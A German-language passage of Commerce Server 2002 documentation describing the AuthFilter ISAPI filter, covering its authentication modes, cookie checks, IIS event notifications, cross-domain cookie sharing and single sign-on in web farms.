Unterstützt SQL Server zum Speichern von Benutzerprofilen | Ja (Active Directory und SQL Server) | Ja | Ja (*im kombinierten Modus) | Ja
Simuliert Benutzer | Ja | Nein (Anonym) | Nein (Anonym) | Nein (Anonym)
Zugriffssteuerlisten (ACLs) | Für virtuelle Verzeichnisse und dynamische Seiten | Für virtuelle Verzeichnisse | Nur anonym | Für dynamische Seiten
Unterstützt vom Benutzer bereitgestellte Anmeldeinformationen | Ja | Benutzerdefiniert (Anonym) | Anonym | Nein
Cookie von Client erforderlich | Ja | Ja | Ja | Nein

* Im kombinierten Modus wird die Windows-Authentifizierung oder die benutzerdefinierte Authentifizierung in Kombination mit dem Autocookiemodus verwendet.

Die Commerce Server-Authentifizierung unterstützt keine heterogenen Umgebungen, z. B. gemischte Umgebungen aus Windows 2000- und Unix-Servern.

Siehe auch

Authentifizierungstickets

AuthFilter

AuthManager


AuthFilter

AuthFilter ist ein im Lieferumfang von Commerce Server 2002 enthaltener ISAPI-Filter. AuthFilter verändert das Standardverhalten von IIS und beeinflusst die Verarbeitung von HTTP-Anforderungen und -Antworten.

Wenn AuthFilter verwendet wird, wird der Filter in der Standardeinstellung auf der IIS-Siteebene mit geringer Priorität installiert. Dies bedeutet, dass andere in IIS ausgeführte ISAPI-Filter Anforderungen vor AuthFilter bearbeiten. Wenn ISAPI-Filter von anderen Anwendungen oder benutzerdefinierte ISAPI-Filter auf dem Webserver installiert sind, können Sie für diese eine höhere Priorität einstellen, damit diese Filter Anforderungen vor AuthFilter verarbeiten.

AuthFilter kann in verschiedenen Authentifizierungsmodi betrieben werden. Informationen zu den Modi von AuthFilter finden Sie unter Übersicht über die AuthFilter-Authentifizierungsmodi.

Unabhängig vom Authentifizierungsmodus führt AuthFilter die folgenden Schritte durch, wenn eine eingehende Anforderung gemeldet wird:

  • Überprüfen, ob der angeforderte URL richtig ist. AuthFilter korrigiert automatisch die Groß-/Kleinschreibung der virtuellen Stammverzeichnisse der Internetinformationsdienste (IIS).

    Vorsicht

    • AuthFilter gibt eine Umleitungsanforderung aus, um die Groß-/Kleinschreibung in dem angeforderten URL zu korrigieren. Sämtliche POST-Daten in dem angeforderten URL gehen dabei verloren.
  • Überprüfen, ob Cookies vom Browser unterstützt werden. Wenn der Clientbrowser keine Cookies unterstützt, leitet AuthFilter den Benutzer auf eine Seite ohne Cookies um. AuthFilter erfordert, dass die Browser Cookies unterstützen.

    Vorsicht

    • AuthFilter gibt bei der Überprüfung, ob der Browser Cookies unterstützt, eine Umleitungsanforderung aus. Diese Überprüfung wird nur für die erste Anforderung innerhalb einer Sitzung durchgeführt. Sämtliche POST-Daten in dem angeforderten URL gehen dabei verloren.
  • Überprüfen, ob der Benutzer ein gültiges Ticket besitzt. Wenn die Anforderung bei der Windows- und benutzerdefinierten Authentifizierung kein gültiges MSCSAuth-Ticket enthält, wird sie auf die Seite Login.asp umgeleitet. Im Autocookiemodus werden Anfragen ohne gültiges MSCSProfile-Ticket auf die Seite autocookie.asp umgeleitet.

Abhängig vom Authentifizierungsmodus führt AuthFilter anschließend weitere Schritte durch.

Dieser Abschnitt beinhaltet folgende Themen:

  • Übersicht über die AuthFilter-Authentifizierungsmodi
  • AuthFilter-Initialisierung
  • Prüfen der Unterstützung von Cookies durch AuthFilter
  • AuthFilter und IIS-Ereignisbenachrichtigungen
  • Unterstützung der Einzelanmeldung durch AuthFilter
  • Aktivieren von AuthFilter für die Retail-Lösungssite
  • Wichtige Informationen über AuthFilter für die Retail-Lösungssite
  • Aktivieren von AuthFilter für die Supplier-Lösungssite
  • Wichtige Informationen über AuthFilter für die Supplier-Lösungssite
  • "Login.asp"-Code für die Retail-Lösungssite
  • "Login.asp"-Code für die Supplier-Lösungssite
  • Verwenden von AuthFilter in einer .NET-Site
  • Deaktivieren von AuthFilter


Übersicht über die AuthFilter-Authentifizierungsmodi

Bei der Implementierung von AuthFilter können Sie einen der in diesem Thema beschriebenen Authentifizierungsmodi auswählen.

Windows-Authentifizierung

In diesem Modus verwendet AuthFilter die Windows-Authentifizierung, um den Zugriff auf eine Site zu steuern. Anmeldeinformationen, z. B. Benutzer-IDs und Kennwörter, werden mithilfe von Active Directory authentifiziert. Bei der Windows-Authentifizierung können Sie festlegen, dass eine Anmeldung nur für bestimmte Seiten und Verzeichnisse erforderlich ist. Informationen zur Verwendung der Windows-Authentifizierung finden Sie unter Aktivieren der Windows-Authentifizierung.

AuthFilter verwendet die Windows-Authentifizierung mithilfe von Zugriffssteuerlisten (ACLs), um den Zugriff auf die Site zu steuern. Anonyme und registrierte Benutzer können abhängig von den ACLs auf die Site zugreifen. Weitere Informationen zu diesem Modus finden Sie unter Windows-Authentifizierungsmodus.

Wenn das vom Benutzer übergebene MSCSAuth-Ticket zum Zeitpunkt der Zugriffsanforderung für eine Seite oder Verzeichnis nicht gültig ist, verlangt AuthFilter die Eingabe von Anmeldeinformationen. Die Anmeldeseite übermittelt diese Anmeldeinformationen an AuthFilter. AuthFilter überprüft anschließend, ob das Kennwort im Kennwortcache von AuthFilter vorliegt. Falls das (vom Benutzer auf der Anmeldeseite eingegebene) Kennwort nicht in diesem Cache vorliegt, wird es von AuthFilter dort abgelegt.

Beachten Sie, dass der Windows-Authentifizierungsmodus nicht identisch ist mit der Windows-Authentifizierung (Kerberos) für Datenbanken.

Benutzerdefinierte Authentifizierung

In diesem Modus werden Anmeldeinformationen wie Benutzer-IDs und Kennwörter mithilfe einer SQL Server-Datenbank oder einer anderen Datenbank authentifiziert.

Bei der benutzerdefinierten Authentifizierung ist für den Zugriff auf jede Seite und jedes Verzeichnis in der Commerce Server-Site eine Anmeldung erforderlich. AuthFilter führt einen Abgleich mit dem virtuellen Verzeichnis der Commerce Server-Site durch und überprüft dann die Verwaltungsdatenbank von Commerce Server, um festzustellen, ob die benutzerdefinierte Authentifizierung für diese Site aktiviert ist.

Wenn das vom Benutzer übergebene MSCSAuth-Ticket zum Zeitpunkt der Zugriffsanforderung für eine Seite oder Verzeichnis nicht gültig ist, verlangt AuthFilter die Eingabe von Anmeldeinformationen. Nachdem ein Benutzer auf der Anmeldeseite Anmeldeinformationen eingegeben hat, überprüft die Anmeldeseite diese Informationen mithilfe einer SQL Server-Datenbank oder einer anderen Art von Datenquelle.

In diesem Modus hat der Entwickler der Website die Möglichkeit, einen benutzerdefinierten Authentifizierungsvorgang für den Zugriff auf die Site bereitzustellen und gleichzeitig weiterhin die Basisdienste von AuthFilter zu nutzen. Weitere Informationen zu diesem Modus finden Sie unter Benutzerdefinierter Authentifizierungsmodus. Informationen zur Verwendung der benutzerdefinierten Authentifizierung finden Sie unter Aktivieren der benutzerdefinierten Authentifizierung.

Autocookiemodus

In diesem Modus überprüft AuthFilter die Anforderung auf das Vorhandensein eines gültigen MSCSProfile-Tickets. Falls kein gültiges MSCProfile-Ticket vorhanden ist, wird die Anforderung auf die Seite autocookie.asp umgeleitet, auf der ein MSCSProfile-Ticket an den Benutzer ausgegeben wird. Ein Benutzer, der unter Verwendung eines MSCSProfile-Tickets auf Ihre Site zugreift, wird als anonymer Benutzer identifiziert.

MSCSProfile-Tickets stellen eine Möglichkeit bereit, Profildaten bezüglich des Navigations- und Nutzungsverhaltens von anonymen Besuchern Ihrer Site zu sammeln, ohne dass sich diese Benutzer zuvor registrieren müssen.

Bei der Registrierung von anonymen Benutzern kann die Benutzer-ID im MSCSProfile-Ticket programmgesteuert aktualisiert werden, sodass die über den ehemals anonymen Benutzer gesammelten Profildaten nicht verloren gehen. Mithilfe des AuthManager-Objekts können Sie die programmgesteuerte Aktualisierungsfunktion zur Änderung der Benutzer-ID im MSCSProfile-Ticket hinzufügen. Die Aktualisierung muss auf der Registrierungsseite durchgeführt werden, indem die richtige GUID oder Benutzer-ID aus dem registrierten Profil abgefragt und mithilfe der SetProfileTicket()-Methode gesetzt wird. Dieser Mechanismus ist notwendig, da das Umwandeln von anonyme in registrierte Benutzer von der jeweiligen Anwendung abhängt, z. B. davon, ob dasselbe Profil oder ein anderes Profil verwendet wird.

Wenn Sie sowohl den Autocookiemodus als auch den Modus "Kein Filter" ausgewählt haben, gibt es keine registrierten Benutzer für Ihre Site.

Weitere Informationen zu diesem Modus finden Sie unter Autocookiemodus.

Modus "Kein Filter"

In diesem Modus ist AuthFilter nicht aktiviert. Die Lösungssites für Commerce Server 2002 befinden sich standardmäßig im Modus "Kein Filter"; in ihnen ist ein Authentifizierungsschema auf der Grundlage von AuthManager implementiert.

Wenn Sites die Dienste von AuthFilter nutzen sollen, müssen Sie die Seite Login.asp und andere unterstützende Seiten der Site modifizieren. Weitere Informationen finden Sie unter Aktivieren von AuthFilter für die Retail-Lösungssite und Aktivieren von AuthFilter für die Supplier-Lösungssite.

Kombination unterschiedlicher Modi

Wenn Sie AuthFilter verwenden, können Sie eine dieser Kombinationen aus Authentifizierungsmodi wählen:

  • Windows-Authentifizierung mit Autocookiemodus. Diese Kombination ermöglicht sowohl registrierten als auch anonymen Benutzern den Zugriff auf die Site. Zur Überwachung von anonymen Benutzern werden persistente Cookies verwendet. Weitere Informationen zu diesem Modus finden Sie unter Windows-Authentifizierung mit Autocookiemodus.
  • Benutzerdefinierte Authentifizierung mit Autocookiemodus. Diese Kombination ermöglicht sowohl registrierten als auch anonymen Benutzern den Zugriff auf die Site. Zur Überwachung von anonymen Benutzern werden persistente Cookies verwendet. Statt den Zugriff auf einzelne Dateien und Ordner mithilfe von Windows-ACLs zu steuern, kann der Entwickler der Site eine benutzerdefinierte Authentifizierungsmethode bereitstellen. Weitere Informationen zu diesem Modus finden Sie unter Benutzerdefinierte Authentifizierung mit Autocookiemodus.

Siehe auch

Windows-Authentifizierungsmodus

Benutzerdefinierter Authentifizierungsmodus

Autocookiemodus

Windows-Authentifizierung mit Autocookiemodus

Benutzerdefinierte Authentifizierung mit Autocookiemodus

Aktivieren der Windows-Authentifizierung

Aktivieren der benutzerdefinierten Authentifizierung

Aktivieren des Autocookiemodus


AuthFilter-Initialisierung

Die Informationen in diesem Thema sind besonders für Siteentwickler nützlich. Für die folgenden Aufgaben ist es wichtig zu wissen, welche Prozesse AuthFilter während der Initialisierung durchläuft:

  • Stell Sie sicher, dass AuthFilter initialisiert wurde. Diese Überprüfung können Sie mit dem Internetdienste-Manager durchführen.
  • Stellen Sie sicher, dass die Datei csapp.ini im richtigen Ordner vorliegt und die richtigen Informationen enthält (z. B. den richtigen Sitenamen).
  • Stellen Sie sicher, dass die Verbindungszeichenfolge für die Verwaltungsdatenbank richtig ist. Dies ist notwendig, weil AuthFilter die Verbindung mit der Verwaltungsdatenbank über das siteconfig-Objekt herstellt.
  • Stellen Sie sicher, dass die COM+-Anwendung (siteconfig) ordnungsgemäß konfiguriert ist. Dies ist notwendig, weil AuthFilter in der Lage sein muss, über die COM+-Anwendung siteconfig Daten aus der Verwaltungsdatenbank abzufragen.

Wenn die Website die erste Anforderung von einem Benutzer empfängt, führt AuthFilter die folgenden Schritte durch:

  1. Site- und Anwendungsname werden aus der Datei Csapp.ini aus den Werten der SiteName- und AddressKeyName-Eigenschaften ausgelesen.
  2. Ein globaler Cache wird erstellt, in dem die Authentifizierungseigenschaften der Sitekonfiguration gespeichert werden. Für jede Site ist ein Eintrag vorhanden. Dieser besteht aus einer Zusammenstellung der Authentifizierungseigenschaften für diese Site.
  3. Der Sitecache wird mit den Eigenschaften aus der CS-Authentizierungsressource aufgefüllt, die über das SiteConfig-Objekt aus der Verwaltungsdatenbank ausgelesen werden.

Siehe auch

Datei CSAPP.INI.

Csapp.ini


Prüfen der Unterstützung von Cookies durch AuthFilter

AuthFilter führt die folgenden Schritt durch, um festzustellen, ob der Clientbrowser Cookies unterstützt:

  1. Eine Umleitung eird an den Browser gesendet, und ein Cookie und ein Abfragezeichenfolgeflag werden gesetzt. Wenn das Cookie zusammen mit der umgeleiteten Abfrage und dem Abfragezeichenfolgeflag zurückgegeben wird, weiß AuthFilter, dass der Browser Cookies unterstützt.
  2. Wenn der Browser keine Cookies unterstützt, wird die umgeleitete Abfrage ohne das Cookie zurückgegeben. AuthFilter erkennt das Abfragezeichenfolgeflag (dieses wird immer zurückgegeben) und leitet den Browser auf die Seite Nocookie.asp um.
  3. Dieser Prüfung findet nur zu Beginn der Sitzung statt, wenn noch kein Cookie gesetzt wurde und der Benutzer sich noch nicht angemeldet hat.


AuthFilter und IIS-Ereignisbenachrichtigungen

Die Informationen in diesem Thema sind besonders für Systemadministratoren und Siteentwickler nützlich. In den folgenden Fällen ist es wichtig, die Ereignisse zu kennen, auf die AuthFilter reagiert:

  • IIS führt auch andere ISAPI-Filter aus, und Sie möchten sicherstellen, dass diese mit AuthFilter kompatibel sind.
  • Sie möchten einen eigenen Authentifizierungsfilter schreiben, der mit AuthFilter zusammenarbeiten soll.

AuthFilter überwacht sowohl eingehende als auch ausgehende Datenströme. Der Filter registriert sich bei IIS (Internetinformationsdienste), um Benachrichtigungen über folgende Ereignisse zu erhalten:

  • SF_NOTIFY_ORDER_LOW. Laden Sie AuthFilter mit geringer Priorität, sodass die Authentifizierung am Ende der Filterliste durchgeführt wird. Dies bedeutet, dass andere in IIS ausgeführte ISAPI-Filter Anforderungen vor AuthFilter bearbeiten. Wenn der Kunde über ISAPI-Filter von anderen Anwendungen oder benutzerdefinierte ISAPI-Filter verfügt, können diese eine höhere Priorität erhalten, damit diese Filter Anforderungen vor AuthFilter verarbeiten.
  • SF_NOTIFY_SECURE_PORT / SF_NOTIFY_NONSECURE_PORT. AuthFilter unterstützt sichere/nicht sichere Anforderungen basierend auf dem Ereignis.
  • SF_NOTIFY_PREPROC_HEADERS. Ein einzelnes Ereignis des Typs SF_PREPROC_HEADERS. Ein Ereignis, das für jede Seitenanforderung auftritt und signalisiert, dass der Server mit der Vorverarbeitung des Headers fertig ist und zur Verarbeitung der Informationen innerhalb des Headers bereit ist. An diesem Punkt prüft AuthFilter auf das Vorhandensein von Cookies.
  • SF_NOTIFY_URL_MAP. Für die Zuordnung des URLs zu einem physischen Pfad sowie gegebenenfalls Korrektur des URLs bei virtuellen Stammverzeichnissen, die zwischen Groß-/Kleinschreibung unterscheiden. Wird zum Abrufen von Eigenschaften aus der CS-Authentifizierungsressource verwendet.
  • SF_NOTIFY_AUTHENTICATION. Eine Benachrichtigung, die gesendet wird, kurz bevor IIS versucht, den Benutzer zu authentifizieren. Dies ist der Zeitpunkt, zu dem AuthFilter Benutzer-ID und Kennwort abruft und setzt.
  • SF_NOTIFY_ACCESS_DENIED. Zugriff verweigert. AuthFilter leitet die Anforderung je nach Bedarf auf eine Anmeldeseite oder eine Fehlerseite um.
  • SF_NOTIFY_SEND_RESPONSE. Dient zum Auslesen von Proxykonten-Informationen aus der Anforderungszeichenfolge für die Umleitung (302) und zum Speichern im Cache. Dient außerdem zum Formatieren eines benutzerdefinierten Umleitungsheaders und -textes, der den ersten angeforderten URL enthält.
  • SF_NOTIFY_SEND_RAW_DATA. Filtert die ursprüngliche Umleitungsanforderung aus und führt gleichzeitig eine benutzerdefinierte Umleitung durch.
  • SF_NOTIFY_END_OF_REQUEST. Ende einer bestimmten Anforderung. AuthFilter schreibt die benutzerdefinierte Umleitungsnachricht zurück an den Client.
  • SF_NOTIFY_AUTH_COMPLETE. Dient der Integration von Outlook Web Access (OWA).


Unterstützung der Einzelanmeldung durch AuthFilter

Bei der Einzelanmeldung kann ein Benutzer, der sich an einer Site oder einem Server angemeldet hat, ohne erneutes Anmelden auf weitere Sites oder Server zugreifen. AuthFilter unterstützt die Einzelanmeldung über Domänen und Anwendungen hinweg sowie in Webfarms.

Die domänen- und anwendungsübergreifende Einzelanmeldung wird über die Cookiefreigabe realisiert.

Dieser Abschnitt beinhaltet folgende Themen:

  • Übersicht über den DNS-Domänennamespace
  • Cookiefreigabe
  • Einzelanmeldung über Domänen hinweg
  • Authentifizieren von Benutzern in einer Webfarm
  • AuthFilter-Verarbeitung in einer Webfarm


Übersicht über den DNS-Domänennamespace

Der DNS-Domänennamespace besteht aus mehreren Ebenen. Für die Konfiguration der Einzelanmeldung und der Cookiefreigabe ist es sehr wichtig, die Bezeichnungen dieser Ebenen sowie die Bestandteile innerhalb eines vollständig gekennzeichneten Domänennamens zu kennen, die diesen Ebenen entsprechen.

In der folgenden Tabelle finden Sie die DNS-Domänenebenen, die für die Konfiguration von Commerce Server von Bedeutung sind.

Bezeichnung | Beschreibung | Beispiel
Domäne der obersten Ebene | Ein aus zwei oder drei Buchstaben bestehender Name, der ein Land bzw. eine Region oder die Art der Organisation kennzeicht, die diesen Namen verwendet. | .com kennzeichnet z. B. einen Namen, der für ein Unternehmen oder eine Organisation für die kommerzielle Verwendung im Internet registriert ist.
Domäne der zweiten Ebene | Namen verschiedener Länge, die für eine Person oder eine Organisation für die Verwendung im Internet registriert sind. Diese Namen basieren immer auf einer entsprechenden Domäne der obersten Ebene, abhängig von der Art der Organisation oder dem geografischen Standort, an dem der Name verwendet wird. | microsoft.com ist z. B. der Domänenname der zweiten Ebene, der durch die Internet-DNS-Domänennamenregistrierung für Microsoft registriert wurde.
Subdomäne | Zusätzliche Namen, die von einer Organisation erstellt werden können und aus dem Namen der Domäne der zweiten Ebene abgeleitet werden. Dazu gehören Namen, die zum Vergrößern der DNS-Namenstruktur in einer Organisation hinzugefügt werden und sie in Abteilungen oder geografische Standorte unterteilt. | beispiel.microsoft.com ist z. B. eine fiktive Subdomäne, die von Microsoft für die Verwendung in Beispielnamen in der Dokumentation zugewiesen wurde.

Weitere Informationen zur DNS-Domänennamenarchitektur finden Sie im Kapitel DNS-Domänennamen in der Onlinehilfe von Windows 2000.


Cookiefreigabe

Wenn AuthFilter aktiviert ist, können Cookies für mehrere Domänen und Anwendungen freigegeben werden, um Benutzer zu erfassen, die in unterschiedliche Domänen und Anwendungen umgeleitet werden. Die Cookiefreigabe wird durch Setzen von zwei Eigenschaften im Cookie konfiguriert: domain und path. Dies kann folgendermaßen aussehen:

      ";domain=DomainName;path=Path"

Die domain-Eigenschaft gibt an, für welche Domänen das Cookie gültig ist. Die path-Eigenschaft gibt an, für welche URL-Teilmenge innerhalb der Domäne das Cookie gültig ist.

Bevor eine Anforderung gesendet wird, überprüft der Clientbrowser, ob ein Cookie mit einer domain-Eigenschaft vorhanden ist, die mit dem hinteren Teil des vollständig gekennzeichneten Domänennamens des in dem angeforderten URL angegebenen Hosts übereinstimmt. Wenn ein solches Cookie vorliegt, wird die path-Eigenschaft des Cookies mit dem Pfadnamen des angeforderten URLs verglichen. Falls diese übereinstimmen, wird das Cookie zusammen mit der Anforderung übermittelt.

Falls der Wert für die domain-Eigenschaft beim Setzen der Eigenschaft nicht angegeben wurde, wird auf dem Server der Hostname des Servers vorgegeben, der das Cookie erstellt hat. Nur Hosts innerhalb der angegebenen Domäne können die domain-Eigenschaft im Cookie setzen. Die allgemeinste Pfadangabe lautet /. Wenn die path-Eigenschaft nicht angegeben ist, wird in der Standardeinstellung der virtuelle Verzeichnispfad der IIS-Anwendung verwendet, die das Cookie erstellt hat.

In Commerce Server 2002 erstellt jede Site in der Standardeinstellung eigene Cookies. Diese können jedoch mithilfe von AuthFilter für die gemeinsame Nutzung freigegeben werden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Aktivieren der Cookiefreigabe über Domänen hinweg
  • Aktivieren der Cookiefreigabe über Anwendungen hinweg


Aktivieren der Cookiefreigabe über Domänen hinweg

Cookies können über Domänen hinweg verwendet werden. Hierzu müssen die Domänen einen gemeinsamen Domänennamen auf zweiter Ebene besitzen. msdn.microsoft.com und premier.microsoft.com können z. B. Cookies, deren domain-Eigenschaft auf .microsoft.com gesetzt wurde, gemeinsam nutzen, weil die Domänenname auf zweiter Ebene für beide Domänen microsoft.com lautet. Die domain-Eigenschaft kann nicht auf den Namen der Domäne der obersten Ebene gesetzt werden, also z. B. nicht auf .com.

Weitere Informationen zu den Domänenebenen finden Sie unter Übersicht über den DNS-Domänennamespace.

So aktivieren Sie die Cookiefreigabe über Domänen hinweg

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf die zu konfigurierende Anwendung, und klicken Sie anschließend auf Eigenschaften.
  3. Geben Sie im Feld Anzahl der freigegebenen Domänenebenen an, wie viele Domänenebenen übereinstimmen müssen, damit ein Cookie gemeinsam genutzt werden kann.

    Setzen Sie diesen Wert z. B. auf 2, um die Cookiefreigabe für die Subdomänen premier.microsoft.com und msdn.microsoft.com zu aktivieren.

    Hinweis

    Der Wert 2 ergibt sich in diesem Fall aus der Domäne auf oberster Ebene (.com) plus der Domäne auf zweiter Ebene (microsoft.com), also 2 Domänenebenen. Aus diesem Grund können beliebige Subdomänen von microsoft.com, also auch msdn.microsoft.com und premier.microsoft.com dieses Cookie gemeinsam nutzen.

  4. Klicken Sie auf OK.
  5. Starten Sie IIS neu. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Hinweis

  • Wenn Sie die Tickets verschlüsseln, stellen Sie sicher, dass der Schlüssel in beiden Domänen identisch ist. Anweisungen zum Erstellen eines neuen Verschlüsselungsschlüssels finden Sie unter Erstellen eines neuen Cookie-Verschlüsselungsschlüssels.

Siehe auch

Cookiefreigabe

Übersicht über den DNS-Domänennamespace

Verwalten von verschlüsselten Profileigenschaften

Verschlüsselung mit einem dynamischen Schlüssel für Authentifizierungstickets


Aktivieren der Cookiefreigabe über Anwendungen hinweg

Setzen Sie die path-Eigenschaft des Cookies auf den Anwendungspfad, um Cookies über Anwendungen hinweg gemeinsam zu nutzen. Wenn Sie das Cookie beispielsweise für alle Anwendungen in der Retail-Site freigeben möchten, setzen Sie den Pfad auf /retail. Für die Cookiefreigabe über Anwendungen hinweg, die nicht dasselbe virtuelle Verzeichnis aufweisen, muss die Pfadangabe auf die Stammebene (/) gesetzt werden.

So aktivieren Sie die Cookiefreigabe über Anwendungen in derselben Site hinweg

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf die zu konfigurierende Anwendung, und klicken Sie anschließend auf Eigenschaften.
  3. Deaktivieren Sie das Kontrollkästchen Pfad des Cookies zur Anwendung festlegen, und klicken Sie anschließend auf OK.

    Hinweis

    • Dies veranlasst den Host, die path-Eigenschaft auf / zu setzen.
  4. Starten Sie IIS mit den Befehlen net stop und net start neu. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.

Hinweise

  • Wenn Sie die Verschlüsselung einsetzen, stellen Sie sicher, dass der Schlüssel in beiden Anwendungen identisch ist. Anweisungen zum Erstellen eines neuen Verschlüsselungsschlüssels finden Sie unter Erstellen eines neuen Cookie-Verschlüsselungsschlüssels.
  • Wenn die CookiePath_ApplicationScope-Eigenschaft ausgewählt ist, wird die path-Eigenschaft auf den aktuellen Anwendungspfad gesetzt.

Siehe auch

Cookiefreigabe

Übersicht über den DNS-Domänennamespace

Exchange 2000 OWA-Standardauthentifizierung

Authentifizierungskonzepte

Konfigurieren einer Anwendung

BizDeskSecurity Object (englisches Thema)

AuthManager Object (englisches Thema)

Verwalten von verschlüsselten Profileigenschaften


Einzelanmeldung über Domänen hinweg

Sie können die Einzelanmeldung zwischen Domänen verwenden, wenn verschiedene Sites in unterschiedlichen Subdomänen, jedoch in derselben Domäne der zweiten Ebene vorliegen. Dieses Thema setzt voraus, dass Sie sich mit der Terminologie des DNS-Domänennamespaces vertraut gemacht haben. Informationen zum DNS-Domänennamespace finden Sie unter Übersicht über den DNS-Domänennamespace.

Um die Einzelanmeldung über Domänen hinweg zu implementieren, müssen Cookies mithilfe der domain-Eigenschaft zur gemeinsamen Nutzung über Domänen hinweg freigegeben werden. Dies funktioniert nur dann, wenn die Domänen gemeinsame Domänennamen auf oberster und zweiter Ebene aufweisen. Die Domäne auf oberster Ebene für microsoft.com lautet z. B. .com und die zugehörige Domäne auf zweiter Ebene microsoft.com. Folglich besitzen premier.microsoft.com und msdn.microsoft.com dieselben Namen für die Domänen auf oberster und zweiter Ebene und können Cookies gemeinsam nutzen.

Hinweis

  • Für die Freigabe von Cookies zwischen Domänen müssen mindestens zwei Domänenebenen übereinstimmen. Sie können jedoch auch mehr als zwei identische Domänenebenen verwenden.

Zwischen zwei Domänen wie microsoft.com und microsoft.de können Cookies nicht gemeinsam genutzt werden, weil die Namen der Domänen auf oberster Ebene (hier .com und .de) nicht übereinstimmen. In diesem Beispiel muss der Benutzer sich erneut anmelden, wenn er zwischen den beiden Domänen wechseln möchte.

Wenn Sie eine Einzelanmeldung zwischen Domänen mit unterschiedlichen Domänen auf oberster Ebene realisieren möchten, können Sie dies über die Integration von Passport erreichen. Weitere Informationen zur Integration mit Passport finden Sie unter Integrieren mit Passport.

Informationen zur Aktivierung der Einzelanmeldung über Domänen hinweg finden Sie unter diesen Themen:

  • Aktivieren der Cookiefreigabe über Anwendungen hinweg
  • Aktivieren der Cookiefreigabe über Domänen hinweg


Authentifizieren von Benutzern in einer Webfarm

Die Einzelanmeldung in einer Webfarm wird mithilfe von AuthFilter und entweder der benutzerdefinierten Authentifizierung oder der Windows-Authentifizierung unterstützt.

  • Benutzerdefinierter Authentifizierungsmodus. Wenn sich ein Benutzer an Ihrer Site anmeldet, authentifiziert Commerce Server diesen, indem der vom Benutzer auf der Anmeldeseite angegebenen Anmeldename und das Kennwort mit den entsprechenden Daten aus dem Profildatenspeicher verglichen werden. Nach der Bestätigung der Benutzerinformationen gibt Commerce Server ein MSCSAuth-Ticket aus und gibt die Anmeldeinformationen an AuthFilter weiter, damit diese im zugehörigen Cache für die Anwendung gespeichert werden. Das Cookie gibt an, dass der Benutzer authentifiziert wurde und berechtigt ist, auf gesicherte Seiten innerhalb der Site zuzugreifen.
  • Windows-Authentifizierungsmodus. Auf der Seite Login.asp ist keine Überprüfung erforderlich. Stattdessen gibt die Anmeldeseite ein MSCSAuth-Ticket aus und übermittelt die Benutzeranmeldeinformationen an AuthFilter. AuthFilter füllt dann den Authentifizierungsheader mit diesen Informationen, damit IIS die Anforderung mithilfe von Active Directory authentifizieren kann.

Wenn ein Benutzer in einer Webserverfarm auf einem Webserver authentifiziert wird und dann auf einem anderen Webserver umgeleitet oder aus Gründen des Lastausgleichs weitergeleitet wird, muss sich der Benutzer nicht erneut anmelden. Um diese Funktion zu unterstützen, können Sie AuthFilter aktivieren. Commerce Server installiert AuthFilter auf der IIS-Websiteebene. Wenn ein Benutzer auf den zweiten Webserver umgeleitet wird, liest der ISAPI-Filter das Benutzercookie und erkennt, dass es eine gültige Benutzer-ID enthält. Bei der benutzerdefinierten Authentifizierung werden keine weiteren Schritte durchgeführt.

Bei der Windows-Authentifizierung führt Commerce Server die folgenden Schritte durch:

  1. Da die Benutzeranmeldeinformationen nicht im Cache von AuthFilter vorliegen (der Benutzer möchte zum ersten Mal auf Seiten dieses Servers zugreifen), leitet AuthFilter die Anforderung auf Login.asp um.
  2. Da die Anforderung über ein gültiges MSCSAuth-Ticket verfügt, wird auf der Seite Login.asp anhand der Benutzer-ID im Ticket das Benutzerprofil vom Profildatenspeicher angefordert. Hierdurch wird die Benutzer-ID und das Kennwort in Klartext zurückgegeben.

    Wichtig

    • Diese Funktion muss vom Entwickler der Site zur Verfügung gestellt werden. Weitere Informationen hierzu finden Sie unter Klartextkennwörter.
  3. Commerce Server fügt die Benutzer-ID und das Kennwort an den URL an und leitet die Anforderung der gesicherten Seite um.
  4. AuthFilter fängt die Anforderung der gesicherten Seite ab, entfernt Benutzer-ID und Kennwort aus dem URL und speichert diese im eigenen Cache.
  5. AuthFilter zeigt dem Benutzer dann die gesicherte Seite an. Benutzer-ID und Kennwort werden nicht an den Benutzer übertragen.


AuthFilter-Verarbeitung in einer Webfarm

AuthFilter ermöglicht es authentifizierten Benutzern in einer Webfarm, die an einem Server angemeldet sind, auf eine Site auf einem anderen Server zuzugreifen, ohne die Anmeldeinformation erneut übermitteln zu müssen. Wenn die Anforderung jedoch bei nicht-servergebundenen Sitzungen mit der "POST"-Methode gesendet wird, gehen alle im Headertext enthaltenen Informationen bei der erforderlichen Umleitung verloren. Verwenden Sie die POST-Methode nur bei servergebundenen Sitzungen. Bei nicht-servergebundenen Sitzungen sollte zur Erhöhung der Sicherheit immer die GET-Methode und SSL (HTTPS) verwendet werden.

Wenn ein authentifizierter Benutzer das erste Mal versucht, auf einen neuen Server zuzugreifen, werden die folgenden Schritte durchgeführt:

  1. AuthFilter prüft den URL auf Richtigkeit (und korrigiert automatisch die Groß/Kleinschreibung).
  2. AuthFilter prüft, ob Sitzungscookies unterstützt werden.
  3. AuthFilter prüft auf das Vorhandensein eines MSCSAuth-Tickets.
  4. AuthFilter prüft, ob das MSCSAuth-Ticket noch gültig ist (hierbei wird der aktuelle Zeitpunkt mit dem Zeitpunkt der letzten Anmeldung plus dem auf dem Ticket angegebenen Zeitfenster verglichen).
  5. Da der Kennwortcache nicht von mehreren Hosts gemeinsam genutzt wird und der Benutzer diese Site zum ersten Mal besucht, enthält der Cache keinen Eintrag, der mit der Benuzter-ID im Ticket übereinstimmt. Nachdem dies festgestellt wird, setzt AuthFilter die MSCSFirstRequestedURL-Eigenschaft des Cookies auf den aktuell angefragten URL zurück.
  6. Die Verarbeitung wird an die Anmeldeseite übergeben.
  7. Auf der Anmeldeseite wird sichergestellt, dass es sich hierbei nicht um eine Absenden-Aktion handelt und der Benutzer über ein gültiges MSCSAuth-Ticket verfügt. Die Benutzer-ID wird aus dem Ticket ausgelesen und zum Abrufen des Benutzerprofils verwendet.
